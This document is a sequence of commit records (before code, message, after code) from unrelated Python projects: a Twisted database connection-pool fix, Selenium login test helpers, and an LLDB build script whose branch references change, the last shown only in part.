<commit_before># modu
# Copyright (C) 2007-2008 Phil Christensen
#
# $Id$
#
# See LICENSE for details

"""
Provides synchronous access to the Twisted adbapi DB layer.
"""

import threading, random, sys

from twisted.enterprise import adbapi

from modu.util import url

debug = False
pools = {}
async_pools = {}
pools_lock = threading.BoundedSemaphore()

def activate_pool(req):
	"""
	JIT Request handler for enabling DB support.
	"""
	req['modu.pool'] = connect(req.app.db_url)

def connect(db_urls=None, async=False, *args, **kwargs):
	"""
	Get a new connection pool for a particular db_url.

	Accepts a DSN specified as a URL, and returns a new
	connection pool object. If `async` is False (the default),
	all database requests are made synchronously.

	@param db_url: A URL of the form C{drivername://user:password@host/dbname}
	@type db_url: str

	@param async: if True, create an asynchronous connection pool object.
	@type async: bool

	@param *args: other positional arguments to pass to the DB-API driver.
	@param **kwargs: other keyword arguments to pass to the DB-API driver.
	"""
	if not(isinstance(db_urls, tuple)):
		db_urls = (db_urls,)

	replicated_pool = None
	for db_url in db_urls:
		dsn = get_dsn(db_url)

		dbapiName = dsn['dbapiName']
		del dsn['dbapiName']

		globs = {}
		exec('from modu.persist import dbapi_%s as db_driver' % dbapiName, globs)
		dargs, dkwargs = globs['db_driver'].process_dsn(dsn)
		kwargs.update(dkwargs)
		args = list(args)
		args.extend(dargs)

		global pools, async_pools, pools_lock
		pools_lock.acquire()
		try:
			if(db_url in pools):
				if(async):
					pool = async_pools[db_url]
				else:
					pool = pools[db_url]
			else:
				from modu.persist import dbapi
				if(async):
					pool = adbapi.ConnectionPool(dbapiName, *dargs, **dkwargs)
				else:
					pool = SynchronousConnectionPool(dbapiName, *dargs, **dkwargs)
				if(async):
					async_pools[db_url] = pool
				else:
					pools[db_url] = pool
		finally:
			pools_lock.release()

		if(len(db_urls) == 1):
			return pool
		elif(replicated_pool):
			replicated_pool.add_slave(pool)
		else:
			replicated_pool = ReplicatedConnectionPool(pool)

	return replicated_pool

def get_dsn(db_url):
	"""
	Take a database URL, parse it, and modify it slightly
	so it may be passed as **kwargs to the DB-API connect()
	function.
	"""
	dsn = url.urlparse(db_url)

	for key in dsn.keys():
		if(dsn[key] is None):
			del dsn[key]

	dsn['dbapiName'] = dsn['scheme']
	del dsn['scheme']

	dsn['db'] = dsn['path'][1:]
	del dsn['path']

	dsn['cp_reconnect'] = True
	dsn['cp_noisy'] = False
	dsn['cp_min'] = 10
	dsn['cp_max'] = 15

	return dsn

class ReplicatedConnectionPool(object):
	"""
	A collection of database servers in a replicated environment.

	Queries are examined to see if there are SELECTs, with all
	reads being sent to the slaves in round-robin mode, and all
	writes are sent to the master.

	When write_only_master is True, the master server is not
	used for reads. Otherwise it is included in the round-robin
	of servers to read from.

	If there are no slaves, all queries are sent to the master.
	"""
	def __init__(self, master, write_only_master=False):
		"""
		Set up a replicated DB connection.

		Given an initial master server, initialize a deque to be
		used to store slaves and select them via round-robin.
		"""
		self.master = master
		self.slaves = []
		if not(write_only_master):
			self.slaves.append(self.master)
		self.selected_slave = None

	def add_slave(self, pool):
		"""
		Add a ConnectionPool as a slave.
		"""
		if(pool not in self.slaves):
			self.slaves.append(pool)

	def runOperation(self, query, *args, **kwargs):
		"""
		Run an operation on the master.

		Note that even though 'operations' (e.g., inserts, deletes, updates)
		should always be on the master, we still check the query, since
		it could just be a programming error.
		"""
		pool = self.getPoolFor(query)
		while(pool):
			try:
				pool.runOperation(query, *args, **kwargs)
				break
			except (adbapi.ConnectionLost, pool.dbapi.OperationalError), e:
				if(pool == self.master):
					raise e
				else:
					print >>sys.stderr, "Expired slave %s during operation because of %s" % (pool.connkw['host'], str(e))
					try:
						self.slaves.remove(pool)
						pool.close()
					except:
						pass
					pool = self.getPoolFor(query)

	def runQuery(self, query, *args, **kwargs):
		"""
		Run a query on a slave.

		Note that even though 'queries' (e.g., selects) should always be on
		a slave, we still check the query, since it could just be a programming error.
		"""
		pool = self.getPoolFor(query)
		while(pool):
			try:
				return pool.runQuery(query, *args, **kwargs)
			except (adbapi.ConnectionLost, pool.dbapi.OperationalError), e:
				if(pool == self.master):
					raise e
				else:
					print >>sys.stderr, "Expired slave %s during query because of %s" % (pool.connkw['host'], str(e))
					try:
						self.slaves.remove(pool)
						pool.close()
					except:
						pass
					pool = self.getPoolFor(query)

	def runInteraction(self, interaction, *args, **kwargs):
		"""
		Run an interaction on the master.
		"""
		self.master.runInteraction(interaction, *args, **kwargs)

	def runWithConnection(self, func, *args, **kwargs):
		"""
		Run a function, providing the connection object for the master.
		"""
		self.master.runWithConnection(func, *args, **kwargs)

	def getSlave(self):
		"""
		Return the next slave in the round robin.
		"""
		if not(self.slaves):
			return self.master
		# if selected slave is None, it won't be in slaves either
		if(self.selected_slave not in self.slaves):
			random.shuffle(self.slaves)
			self.selected_slave = self.slaves[-1]
			#print >>sys.stderr, "Selected slave is now: %s" % self.selected_slave.connkw['host']
		return self.selected_slave

	def getPoolFor(self, query):
		"""
		Return a slave if this is a SELECT query, else return the master.
		"""
		test_string = query.lower()
		if(test_string.startswith('select')):
			result = self.getSlave()
		elif(test_string.startswith('create temporary table')):
			result = self.getSlave()
		elif(test_string.startswith('drop temporary table')):
			result = self.getSlave()
		else:
			# if(self.selected_slave and self.master != self.selected_slave):
			# 	print >>sys.stderr, "Selected slave is now: %s" % self.selected_slave.connkw['host']
			result = self.selected_slave = self.master

		return result

class SynchronousConnectionPool(adbapi.ConnectionPool):
	"""
	This trvial subclass disables thread creation within the ConnectionPool
	object so that it may be used from within a syncronous application
	"""
	def __init__(self, dbapiName, *connargs, **connkw):
		"""
		Create a new instance of the connection pool.

		This overridden constructor makes sure the Twisted reactor
		doesn't get started in non-twisted.web-hosted environments.
		"""
		adbapi.ConnectionPool.__init__(self, dbapiName, *connargs, **connkw)
		from twisted.internet import reactor
		if(self.startID):
			reactor.removeSystemEventTrigger(self.startID)

	def runOperation(self, *args, **kwargs):
		"""
		Trivial override to provide debugging support.
		"""
		if(debug):
			print args, kwargs
		return adbapi.ConnectionPool.runOperation(self, *args, **kwargs)

	def _runOperation(self, trans, *args, **kw):
		return trans.execute(*args, **kw)

	def runQuery(self, *args, **kwargs):
		"""
		Trivial override to provide debugging support.
		"""
		if(debug):
			print args, kwargs
		return adbapi.ConnectionPool.runQuery(self, *args, **kwargs)

	def runInteraction(self, interaction, *args, **kw):
		"""
		Run a function, passing it a cursor from this pool.

		This version of the method does not spawn a thread, and so returns
		the result directly, instead of a Deferred.
		"""
		return self._runInteraction(interaction, *args, **kw)

	def runWithConnection(self, func, *args, **kw):
		"""
		Run a function, passing it one of the connections in this pool.

		This version of the method does not spawn a thread, and so returns
		the result directly, instead of a Deferred.
		"""
		return self._runWithConnection(func, *args, **kw)

	def _runInteraction(self, interaction, *args, **kw):
		"""
		An internal function to run a SQL statement through one of the connections in this pool.

		This version of the method ensures that all drivers return a column->value dict. This
		can also be handled by the driver layer itself (e.g., by selecting a particular
		cursor type).
		"""
		conn = adbapi.Connection(self)
		trans = adbapi.Transaction(self, conn)
		try:
			result = interaction(trans, *args, **kw)
			if(result and isinstance(result, (list, tuple)) and isinstance(result[0], (list, tuple))):
				result = [dict(zip([c[0] for c in trans._cursor.description], item)) for item in result]
			trans.close()
			conn.commit()
			return result
		except:
			conn.rollback()
			raise

	def _runWithConnection(self, func, *args, **kw):
		conn = self.connectionFactory(self)
		try:
			result = func(conn, *args, **kw)
			conn.commit()
			return result
		except:
			excType, excValue, excTraceback = sys.exc_info()
			try:
				conn.rollback()
			except:
				log.err(None, "Rollback failed")
			raise excType, excValue, excTraceback
<commit_msg>Fix for async versus sync pool selection<commit_after># modu
# Copyright (C) 2007-2008 Phil Christensen
#
# $Id$
#
# See LICENSE for details

"""
Provides synchronous access to the Twisted adbapi DB layer.
"""

import threading, random, sys

from twisted.enterprise import adbapi

from modu.util import url

debug = False
pools = {}
async_pools = {}
pools_lock = threading.BoundedSemaphore()

def activate_pool(req):
	"""
	JIT Request handler for enabling DB support.
	"""
	req['modu.pool'] = connect(req.app.db_url)

def connect(db_urls=None, async=False, *args, **kwargs):
	"""
	Get a new connection pool for a particular db_url.

	Accepts a DSN specified as a URL, and returns a new
	connection pool object. If `async` is False (the default),
	all database requests are made synchronously.

	@param db_url: A URL of the form C{drivername://user:password@host/dbname}
	@type db_url: str

	@param async: if True, create an asynchronous connection pool object.
	@type async: bool

	@param *args: other positional arguments to pass to the DB-API driver.
	@param **kwargs: other keyword arguments to pass to the DB-API driver.
	"""
	if not(isinstance(db_urls, tuple)):
		db_urls = (db_urls,)

	replicated_pool = None
	for db_url in db_urls:
		dsn = get_dsn(db_url)

		dbapiName = dsn['dbapiName']
		del dsn['dbapiName']

		globs = {}
		exec('from modu.persist import dbapi_%s as db_driver' % dbapiName, globs)
		dargs, dkwargs = globs['db_driver'].process_dsn(dsn)
		kwargs.update(dkwargs)
		args = list(args)
		args.extend(dargs)

		global pools, async_pools, pools_lock
		pools_lock.acquire()
		try:
			if(async):
				selected_pools = async_pools
			else:
				selected_pools = pools

			if(db_url in selected_pools):
				pool = selected_pools[db_url]
			else:
				from modu.persist import dbapi
				if(async):
					pool = adbapi.ConnectionPool(dbapiName, *dargs, **dkwargs)
				else:
					pool = SynchronousConnectionPool(dbapiName, *dargs, **dkwargs)
				selected_pools[db_url] = pool
		finally:
			pools_lock.release()

		if(len(db_urls) == 1):
			return pool
		elif(replicated_pool):
			replicated_pool.add_slave(pool)
		else:
			replicated_pool = ReplicatedConnectionPool(pool)

	return replicated_pool

def get_dsn(db_url):
	"""
	Take a database URL, parse it, and modify it slightly
	so it may be passed as **kwargs to the DB-API connect()
	function.
	"""
	dsn = url.urlparse(db_url)

	for key in dsn.keys():
		if(dsn[key] is None):
			del dsn[key]

	dsn['dbapiName'] = dsn['scheme']
	del dsn['scheme']

	dsn['db'] = dsn['path'][1:]
	del dsn['path']

	dsn['cp_reconnect'] = True
	dsn['cp_noisy'] = False
	dsn['cp_min'] = 10
	dsn['cp_max'] = 15

	return dsn

class ReplicatedConnectionPool(object):
	"""
	A collection of database servers in a replicated environment.

	Queries are examined to see if there are SELECTs, with all
	reads being sent to the slaves in round-robin mode, and all
	writes are sent to the master.

	When write_only_master is True, the master server is not
	used for reads. Otherwise it is included in the round-robin
	of servers to read from.

	If there are no slaves, all queries are sent to the master.
	"""
	def __init__(self, master, write_only_master=False):
		"""
		Set up a replicated DB connection.

		Given an initial master server, initialize a deque to be
		used to store slaves and select them via round-robin.
		"""
		self.master = master
		self.slaves = []
		if not(write_only_master):
			self.slaves.append(self.master)
		self.selected_slave = None

	def add_slave(self, pool):
		"""
		Add a ConnectionPool as a slave.
		"""
		if(pool not in self.slaves):
			self.slaves.append(pool)

	def runOperation(self, query, *args, **kwargs):
		"""
		Run an operation on the master.

		Note that even though 'operations' (e.g., inserts, deletes, updates)
		should always be on the master, we still check the query, since
		it could just be a programming error.
		"""
		pool = self.getPoolFor(query)
		while(pool):
			try:
				pool.runOperation(query, *args, **kwargs)
				break
			except (adbapi.ConnectionLost, pool.dbapi.OperationalError), e:
				if(pool == self.master):
					raise e
				else:
					print >>sys.stderr, "Expired slave %s during operation because of %s" % (pool.connkw['host'], str(e))
					try:
						self.slaves.remove(pool)
						pool.close()
					except:
						pass
					pool = self.getPoolFor(query)

	def runQuery(self, query, *args, **kwargs):
		"""
		Run a query on a slave.

		Note that even though 'queries' (e.g., selects) should always be on
		a slave, we still check the query, since it could just be a programming error.
		"""
		pool = self.getPoolFor(query)
		while(pool):
			try:
				return pool.runQuery(query, *args, **kwargs)
			except (adbapi.ConnectionLost, pool.dbapi.OperationalError), e:
				if(pool == self.master):
					raise e
				else:
					print >>sys.stderr, "Expired slave %s during query because of %s" % (pool.connkw['host'], str(e))
					try:
						self.slaves.remove(pool)
						pool.close()
					except:
						pass
					pool = self.getPoolFor(query)

	def runInteraction(self, interaction, *args, **kwargs):
		"""
		Run an interaction on the master.
		"""
		self.master.runInteraction(interaction, *args, **kwargs)

	def runWithConnection(self, func, *args, **kwargs):
		"""
		Run a function, providing the connection object for the master.
		"""
		self.master.runWithConnection(func, *args, **kwargs)

	def getSlave(self):
		"""
		Return the next slave in the round robin.
		"""
		if not(self.slaves):
			return self.master
		# if selected slave is None, it won't be in slaves either
		if(self.selected_slave not in self.slaves):
			random.shuffle(self.slaves)
			self.selected_slave = self.slaves[-1]
			#print >>sys.stderr, "Selected slave is now: %s" % self.selected_slave.connkw['host']
		return self.selected_slave

	def getPoolFor(self, query):
		"""
		Return a slave if this is a SELECT query, else return the master.
		"""
		test_string = query.lower()
		if(test_string.startswith('select')):
			result = self.getSlave()
		elif(test_string.startswith('create temporary table')):
			result = self.getSlave()
		elif(test_string.startswith('drop temporary table')):
			result = self.getSlave()
		else:
			# if(self.selected_slave and self.master != self.selected_slave):
			# 	print >>sys.stderr, "Selected slave is now: %s" % self.selected_slave.connkw['host']
			result = self.selected_slave = self.master

		return result

class SynchronousConnectionPool(adbapi.ConnectionPool):
	"""
	This trvial subclass disables thread creation within the ConnectionPool
	object so that it may be used from within a syncronous application
	"""
	def __init__(self, dbapiName, *connargs, **connkw):
		"""
		Create a new instance of the connection pool.

		This overridden constructor makes sure the Twisted reactor
		doesn't get started in non-twisted.web-hosted environments.
		"""
		adbapi.ConnectionPool.__init__(self, dbapiName, *connargs, **connkw)
		from twisted.internet import reactor
		if(self.startID):
			reactor.removeSystemEventTrigger(self.startID)

	def runOperation(self, *args, **kwargs):
		"""
		Trivial override to provide debugging support.
		"""
		if(debug):
			print args, kwargs
		return adbapi.ConnectionPool.runOperation(self, *args, **kwargs)

	def _runOperation(self, trans, *args, **kw):
		return trans.execute(*args, **kw)

	def runQuery(self, *args, **kwargs):
		"""
		Trivial override to provide debugging support.
		"""
		if(debug):
			print args, kwargs
		return adbapi.ConnectionPool.runQuery(self, *args, **kwargs)

	def runInteraction(self, interaction, *args, **kw):
		"""
		Run a function, passing it a cursor from this pool.

		This version of the method does not spawn a thread, and so returns
		the result directly, instead of a Deferred.
		"""
		return self._runInteraction(interaction, *args, **kw)

	def runWithConnection(self, func, *args, **kw):
		"""
		Run a function, passing it one of the connections in this pool.

		This version of the method does not spawn a thread, and so returns
		the result directly, instead of a Deferred.
		"""
		return self._runWithConnection(func, *args, **kw)

	def _runInteraction(self, interaction, *args, **kw):
		"""
		An internal function to run a SQL statement through one of the connections in this pool.

		This version of the method ensures that all drivers return a column->value dict. This
		can also be handled by the driver layer itself (e.g., by selecting a particular
		cursor type).
		"""
		conn = adbapi.Connection(self)
		trans = adbapi.Transaction(self, conn)
		try:
			result = interaction(trans, *args, **kw)
			if(result and isinstance(result, (list, tuple)) and isinstance(result[0], (list, tuple))):
				result = [dict(zip([c[0] for c in trans._cursor.description], item)) for item in result]
			trans.close()
			conn.commit()
			return result
		except:
			conn.rollback()
			raise

	def _runWithConnection(self, func, *args, **kw):
		conn = self.connectionFactory(self)
		try:
			result = func(conn, *args, **kw)
			conn.commit()
			return result
		except:
			excType, excValue, excTraceback = sys.exc_info()
			try:
				conn.rollback()
			except:
				log.err(None, "Rollback failed")
			raise excType, excValue, excTraceback
<|endoftext|>


<commit_before>from selenium import selenium
import os
import unittest

ENV_OPTIONS = {
    'local': {
        'is_local': True,
        'login_url': 'http://localhost:8080/_ah/login?'
             'continue=http%3A//localhost%3A8080/',
        'user_name': 'testuser@gmail.com',
        'email_element_id': 'email',
        'login_element_id': 'submit-login'
    },
    'dev': {
        'is_local': False,
        'login_url': '/accounts/ServiceLogin?'
             'service=ah&continue=http://resourcemapper.appspot.com/'
             '_ah/login%3Fcontinue%3Dhttp://resourcemapper.appspot.com/&'
             'ltmpl=gm&ahname=Resource+Mapper&'
             'sig=c61af07a6645f768377488e2f88b61cd',
        'user_name': 'testuser@gmail.com',
        'password': '',
        'email_element_id': 'Email',
        'login_element_id': 'signIn'
    }
}

class ResourceMapperTestCase(unittest.TestCase):
    def setUp(self):
        self.initEnvironment()
        self.verificationErrors = []
        self.s = selenium('localhost', 4444, '*chrome',
                          'https://www.google.com/')
        self.s.start()

    def tearDown(self):
        self.s.stop()
        self.assertEqual([], self.verificationErrors)

    def login(self):
        self.s.open(self.environment['login_url'])
        self.s.type(self.environment['email_element_id'],
                    self.environment['user_name'])
        if not self.environment['is_local']:
            self.s.type('Passwd', self.environment['password'])

        self.s.click(self.environment['login_element_id'])
        self.s.wait_for_page_to_load('30000')

    def initEnvironment(self):
        if not os.environ.has_key('env'):
            raise Exception('Please specify environment env = {local, dev}')
        envType = os.environ['env']
        self.environment = ENV_OPTIONS[envType]
<commit_msg>Add basic Selenium tests for the edit form.<commit_after>from selenium import selenium
import os
import time
import unittest

ENV_OPTIONS = {
    'local': {
        'base_url': 'http://localhost:8080',
        'is_local': True,
        'user_name': 'testuser@gmail.com',
        'login_form': '//form[@action="/_ah/login"]',
        'login_email': '//input[@id="email"]',
        'login_submit': '//input[@id="submit-login"]'
    },
    'dev': {
        'base_url': 'http://resourcemapper.appspot.com',
        'is_local': False,
        'user_name': 'testuser@gmail.com',
        'password': '',
        'login_form': '//form[@id="gaia_loginform"]',
        'login_email': '//input[@id="Email"]',
        'login_password': '//input[@id="Passwd"]',
        'login_submit': '//input[@id="signIn"]'
    }
}

class ResourceMapperTestCase(unittest.TestCase):
    def setUp(self):
        self.initEnvironment()
        self.verificationErrors = []
        self.s = selenium('localhost', 4444, '*chrome',
                          'https://www.google.com/')
        self.s.start()

    def tearDown(self):
        self.s.stop()
        self.assertEqual([], self.verificationErrors)

    def login(self, path):
        """Attempts to open the given path, logging in if necessary.  Use
        this method to load the first page in a test.  Returns True if the
        login form was submitted, or False if no login form appeared."""
        self.open_path(path)
        if self.s.is_element_present(self.environment['login_form']):
            self.s.type(self.environment['login_email'],
                        self.environment['user_name'])
            if not self.environment['is_local']:
                self.s.type(self.environment['login_password'],
                            self.environment['password'])
            self.s.click(self.environment['login_submit'])
            self.s.wait_for_page_to_load('30000')
            return True
        return False

    def initEnvironment(self):
        if not os.environ.has_key('env'):
            raise Exception('Please specify environment env = {local, dev}')
        envType = os.environ['env']
        self.environment = ENV_OPTIONS[envType]

    def open_path(self, path):
        self.s.open(self.environment['base_url'] + path)

    def wait_for_load(self):
        self.s.wait_for_page_to_load('30000')

    def wait_until(self, function, *args, **kwargs):
        start = time.time()
        while not function(*args, **kwargs):
            if time.time() - start > 30:
                self.fail('timed out: %r %r %r' % (function, args, kwargs))
            time.sleep(0.2)
<|endoftext|>


<commit_before>#!/usr/bin/env python

import hashlib
import fnmatch
import os
import platform
import re
import subprocess
import sys

from lldbbuild import *

#### SETTINGS ####

def LLVM_HASH_INCLUDES_DIFFS():
    return False

# The use of "x = "..."; return x" here is important because tooling looks for
# it with regexps.  Only change how this works if you know what you are doing.

def LLVM_REF():
    llvm_ref = "swift-4.0-branch"
    return llvm_ref

def CLANG_REF():
    clang_ref = "swift-4.0-branch"
    return clang_ref

def SWIFT_REF():
    swift_ref = "swift-4.0-branch"
    return swift_ref

# For use with Xcode-style builds

def XCODE_REPOSITORIES():
    return [
        {'name': "llvm",
         'vcs': VCS.git,
         'root': llvm_source_path(),
         'url': "ssh://git@github.com/apple/swift-llvm.git",
         'ref': LLVM_REF()},

        {'name': "clang",
         'vcs': VCS.git,
         'root': clang_source_path(),
         'url': "ssh://git@github.com/apple/swift-clang.git",
         'ref': CLANG_REF()},

        {'name': "swift",
         'vcs': VCS.git,
         'root': swift_source_path(),
         'url': "ssh://git@github.com/apple/swift.git",
         'ref': SWIFT_REF()},

        {'name': "cmark",
         'vcs': VCS.git,
         'root': cmark_source_path(),
         'url': "ssh://git@github.com/apple/swift-cmark.git",
         'ref': "master"},

        {'name': "ninja",
         'vcs': VCS.git,
         'root': ninja_source_path(),
         'url': "https://github.com/ninja-build/ninja.git",
         'ref': "master"}
    ]

def BUILD_SCRIPT_FLAGS():
    return {
        "Debug": ["--preset=LLDB_Swift_ReleaseAssert"],
        "DebugClang": ["--preset=LLDB_Swift_DebugAssert"],
        "Release": ["--preset=LLDB_Swift_ReleaseAssert"],
    }

def BUILD_SCRIPT_ENVIRONMENT():
    return {
        "SWIFT_SOURCE_ROOT": lldb_source_path(),
        "SWIFT_BUILD_ROOT": llvm_build_dirtree()
    }

#### COLLECTING ALL ARCHIVES ####

def collect_archives_in_path(path):
    files = os.listdir(path)
    # Only use libclang and libLLVM archives (and gtests), and exclude libclang_rt.
    # Also include swigt and cmark.
    # This is not a very scalable solution.  Direct dependency determination would
    # be preferred.
    regexp = "^lib(clang[^_]|LLVM|gtest|swift|cmark).*$"
    return [
        os.path.join(
            path,
            file) for file in files if file.endswith(".a") and re.match(
            regexp,
            file)]

def archive_list():
    paths = library_paths()
    archive_lists = [collect_archives_in_path(path) for path in paths]
    return [archive for archive_list in archive_lists for archive in archive_list]

def write_archives_txt():
    f = open(archives_txt(), 'w')
    for archive in archive_list():
        f.write(archive + "\n")
    f.close()

#### COLLECTING REPOSITORY MD5S ####

def source_control_status(spec):
    vcs_for_spec = vcs(spec)
    if LLVM_HASH_INCLUDES_DIFFS():
        return vcs_for_spec.status() + vcs_for_spec.diff()
    else:
        return vcs_for_spec.status()

def source_control_status_for_specs(specs):
    statuses = [source_control_status(spec) for spec in specs]
    return "".join(statuses)

def all_source_control_status():
    return source_control_status_for_specs(XCODE_REPOSITORIES())

def md5(string):
    m = hashlib.md5()
    m.update(string)
    return m.hexdigest()

def all_source_control_status_md5():
    return md5(all_source_control_status())

#### CHECKING OUT AND BUILDING LLVM ####

def apply_patches(spec):
    files = os.listdir(os.path.join(lldb_source_path(), 'scripts'))
    patches = [
        f for f in files if fnmatch.fnmatch(
            f, spec['name'] + '.*.diff')]
    for p in patches:
        run_in_directory(["patch",
                          "-p0",
                          "-i",
                          os.path.join(lldb_source_path(),
                                       'scripts',
                                       p)],
                         spec['root'])

def check_out_if_needed(spec):
    if (build_type() != BuildType.CustomSwift) and not (
            os.path.isdir(spec['root'])):
        vcs(spec).check_out()
        apply_patches(spec)

def all_check_out_if_needed():
    map(check_out_if_needed, XCODE_REPOSITORIES())

def should_build_llvm():
    if build_type() == BuildType.CustomSwift:
        return False
    if build_type() == BuildType.Xcode:
        # TODO use md5 sums
        return True

def do_symlink(source_path, link_path):
    print "Symlinking " + source_path + " to " + link_path
    if os.path.islink(link_path):
        os.remove(link_path)
    if not os.path.exists(link_path):
        os.symlink(source_path, link_path)

def setup_source_symlink(repo):
    source_path = repo["root"]
    link_path = os.path.join(lldb_source_path(), os.path.basename(source_path))
    do_symlink(source_path, link_path)

def setup_source_symlinks():
    map(setup_source_symlink, XCODE_REPOSITORIES())

def setup_build_symlink():
    source_path = package_build_path()
    link_path = expected_package_build_path()
    do_symlink(source_path, link_path)

def find_cmake():
    # First check the system PATH env var for cmake
    cmake_binary = find_executable_in_paths(
        "cmake", os.environ["PATH"].split(os.pathsep))
    if cmake_binary:
        # We found it there, use it.
        return cmake_binary

    # Check a few more common spots.  Xcode launched from Finder
    # will have the default environment, and may not have
    # all the normal places present.
    extra_cmake_dirs = [
        "/usr/local/bin",
        "/opt/local/bin",
        os.path.join(os.path.expanduser("~"), "bin")
    ]

    if platform.system() == "Darwin":
        # Add locations where an official CMake.app package may be installed.
        extra_cmake_dirs.extend([
            os.path.join(
                os.path.expanduser("~"),
                "Applications",
                "CMake.app",
                "Contents",
                "bin"),
            os.path.join(
                os.sep,
                "Applications",
                "CMake.app",
                "Contents",
                "bin")])

    cmake_binary = find_executable_in_paths("cmake", extra_cmake_dirs)
    if cmake_binary:
        # We found it in one of the usual places.  Use that.
        return cmake_binary

    # We couldn't find cmake.  Tell the user what to do.
    raise Exception(
        "could not find cmake in PATH ({}) or in any of these locations ({}), "
        "please install cmake or add a link to it in one of those locations".format(
            os.environ["PATH"], extra_cmake_dirs))

def cmake_flags():
    cmake_flags = CMAKE_FLAGS()[lldb_configuration()]
    cmake_flags += ["-GNinja",
                    "-DCMAKE_C_COMPILER={}".format(get_c_compiler()),
                    "-DCMAKE_CXX_COMPILER={}".format(get_cxx_compiler()),
                    "-DCMAKE_INSTALL_PREFIX={}".format(expected_package_build_path_for("llvm")),
                    "-DCMAKE_C_FLAGS={}".format(get_c_flags()),
                    "-DCMAKE_CXX_FLAGS={}".format(get_cxx_flags()),
                    "-DCMAKE_EXE_LINKER_FLAGS={}".format(get_exe_linker_flags()),
                    "-DCMAKE_SHARED_LINKER_FLAGS={}".format(get_shared_linker_flags()),
                    "-DHAVE_CRASHREPORTER_INFO=1"]
    deployment_target = get_deployment_target()
    if deployment_target:
        cmake_flags.append(
            "-DCMAKE_OSX_DEPLOYMENT_TARGET={}".format(deployment_target))
    return cmake_flags

def run_cmake(cmake_build_dir, ninja_binary_path):
    cmake_binary = find_cmake()
    print "found cmake binary: using \"{}\"".format(cmake_binary)

    command_line = [cmake_binary] + cmake_flags() + [
        "-DCMAKE_MAKE_PROGRAM={}".format(ninja_binary_path),
        llvm_source_path()]
    print "running cmake like so: ({}) in dir ({})".format(command_line, cmake_build_dir)

    subprocess.check_call(
        command_line,
        cwd=cmake_build_dir,
        env=cmake_environment())

def create_directories_as_needed(path):
    try:
        os.makedirs(path)
    except OSError as error:
        # An error indicating that the directory exists already is fine.
        # Anything else should be passed along.
        if error.errno != errno.EEXIST:
            raise error

def run_cmake_if_needed(ninja_binary_path):
    cmake_build_dir = package_build_path()
    if should_run_cmake(cmake_build_dir):
        # Create the build directory as needed
        create_directories_as_needed(cmake_build_dir)
        run_cmake(cmake_build_dir, ninja_binary_path)

def build_ninja_if_needed():
    # First check if ninja is in our path.  If so, there's nothing to do.
    ninja_binary_path = find_executable_in_paths(
        "ninja", os.environ["PATH"].split(os.pathsep))
    if ninja_binary_path:
        # It's on the path.  cmake will find it.  We're good.
        print "found ninja here: \"{}\"".format(ninja_binary_path)
        return ninja_binary_path

    # Figure out if we need to build it.
    ninja_build_dir = ninja_source_path()
    ninja_binary_path = os.path.join(ninja_build_dir, "ninja")
    if not is_executable(ninja_binary_path):
        # Build ninja
        command_line = ["python", "configure.py", "--bootstrap"]
        print "building ninja like so: ({}) in dir ({})".format(command_line, ninja_build_dir)
        subprocess.check_call(
            command_line,
            cwd=ninja_build_dir,
            env=os.environ)

    return ninja_binary_path

def build_script_flags():
    return BUILD_SCRIPT_FLAGS()[lldb_configuration(
    )] + ["swift_install_destdir=" + expected_package_build_path_for("swift")]

def join_dicts(dict1, dict2):
    d = dict1.copy()
    d.update(dict2)
    return d

def build_script_path():
    return os.path.join(swift_source_path(), "utils", "build-script")

def build_script_environment():
    return join_dicts(os.environ, BUILD_SCRIPT_ENVIRONMENT())

def build_llvm():
    subprocess.check_call(["python",
                           build_script_path()] + build_script_flags(),
                          cwd=lldb_source_path(),
                          env=build_script_environment())

def build_llvm_if_needed():
    if should_build_llvm():
        setup_source_symlinks()
        build_llvm()
        setup_build_symlink()

#### MAIN LOGIC ####

all_check_out_if_needed()
build_llvm_if_needed()
write_archives_txt()

sys.exit(0)
<commit_msg>Un-auto-merge swift-4.0-branch's build-llvm.py.<commit_after>#!/usr/bin/env python

import hashlib
import fnmatch
import os
import platform
import re
import subprocess
import sys

from lldbbuild import *

#### SETTINGS ####

def LLVM_HASH_INCLUDES_DIFFS():
    return False

# The use of "x = "..."; return x" here is important because tooling looks for
# it with regexps.  Only change how this works if you know what you are doing.

def LLVM_REF():
    llvm_ref = "stable"
    return llvm_ref

def CLANG_REF():
    clang_ref = "stable"
    return clang_ref

def SWIFT_REF():
    swift_ref = "master"
    return swift_ref

# For use with Xcode-style builds

def XCODE_REPOSITORIES():
    return [
        {'name': "llvm",
         'vcs': VCS.git,
         'root': llvm_source_path(),
         'url': "ssh://git@github.com/apple/swift-llvm.git",
         'ref': LLVM_REF()},

        {'name': "clang",
         'vcs': VCS.git,
         'root': clang_source_path(),
         'url': "ssh://git@github.com/apple/swift-clang.git",
         'ref': CLANG_REF()},

        {'name': "swift",
         'vcs': VCS.git,
         'root': swift_source_path(),
         'url': "ssh://git@github.com/apple/swift.git",
         'ref': SWIFT_REF()},

        {'name': "cmark",
         'vcs': VCS.git,
         'root': cmark_source_path(),
         'url': "ssh://git@github.com/apple/swift-cmark.git",
         'ref': "master"},

        {'name': "ninja",
         'vcs': VCS.git,
         'root': ninja_source_path(),
         'url': "https://github.com/ninja-build/ninja.git",
         'ref': "master"}
    ]

def BUILD_SCRIPT_FLAGS():
    return {
        "Debug": ["--preset=LLDB_Swift_ReleaseAssert"],
        "DebugClang": ["--preset=LLDB_Swift_DebugAssert"],
        "Release": ["--preset=LLDB_Swift_ReleaseAssert"],
    }

def BUILD_SCRIPT_ENVIRONMENT():
    return {
        "SWIFT_SOURCE_ROOT": lldb_source_path(),
        "SWIFT_BUILD_ROOT": llvm_build_dirtree()
    }

#### COLLECTING ALL ARCHIVES ####

def collect_archives_in_path(path):
    files = os.listdir(path)
    # Only use libclang and libLLVM archives (and gtests), and exclude libclang_rt.
    # Also include swigt and cmark.
    # This is not a very scalable solution.  Direct dependency determination would
    # be preferred.
    regexp = "^lib(clang[^_]|LLVM|gtest|swift|cmark).*$"
    return [
        os.path.join(
            path,
            file) for file in files if file.endswith(".a") and re.match(
            regexp,
            file)]

def archive_list():
    paths = library_paths()
    archive_lists = [collect_archives_in_path(path) for path in paths]
    return [archive for archive_list in archive_lists for archive in archive_list]

def write_archives_txt():
    f = open(archives_txt(), 'w')
    for archive in archive_list():
        f.write(archive + "\n")
    f.close()

#### COLLECTING REPOSITORY MD5S ####

def source_control_status(spec):
    vcs_for_spec = vcs(spec)
    if LLVM_HASH_INCLUDES_DIFFS():
        return vcs_for_spec.status() + vcs_for_spec.diff()
    else:
        return vcs_for_spec.status()

def source_control_status_for_specs(specs):
    statuses = [source_control_status(spec) for spec in specs]
    return "".join(statuses)

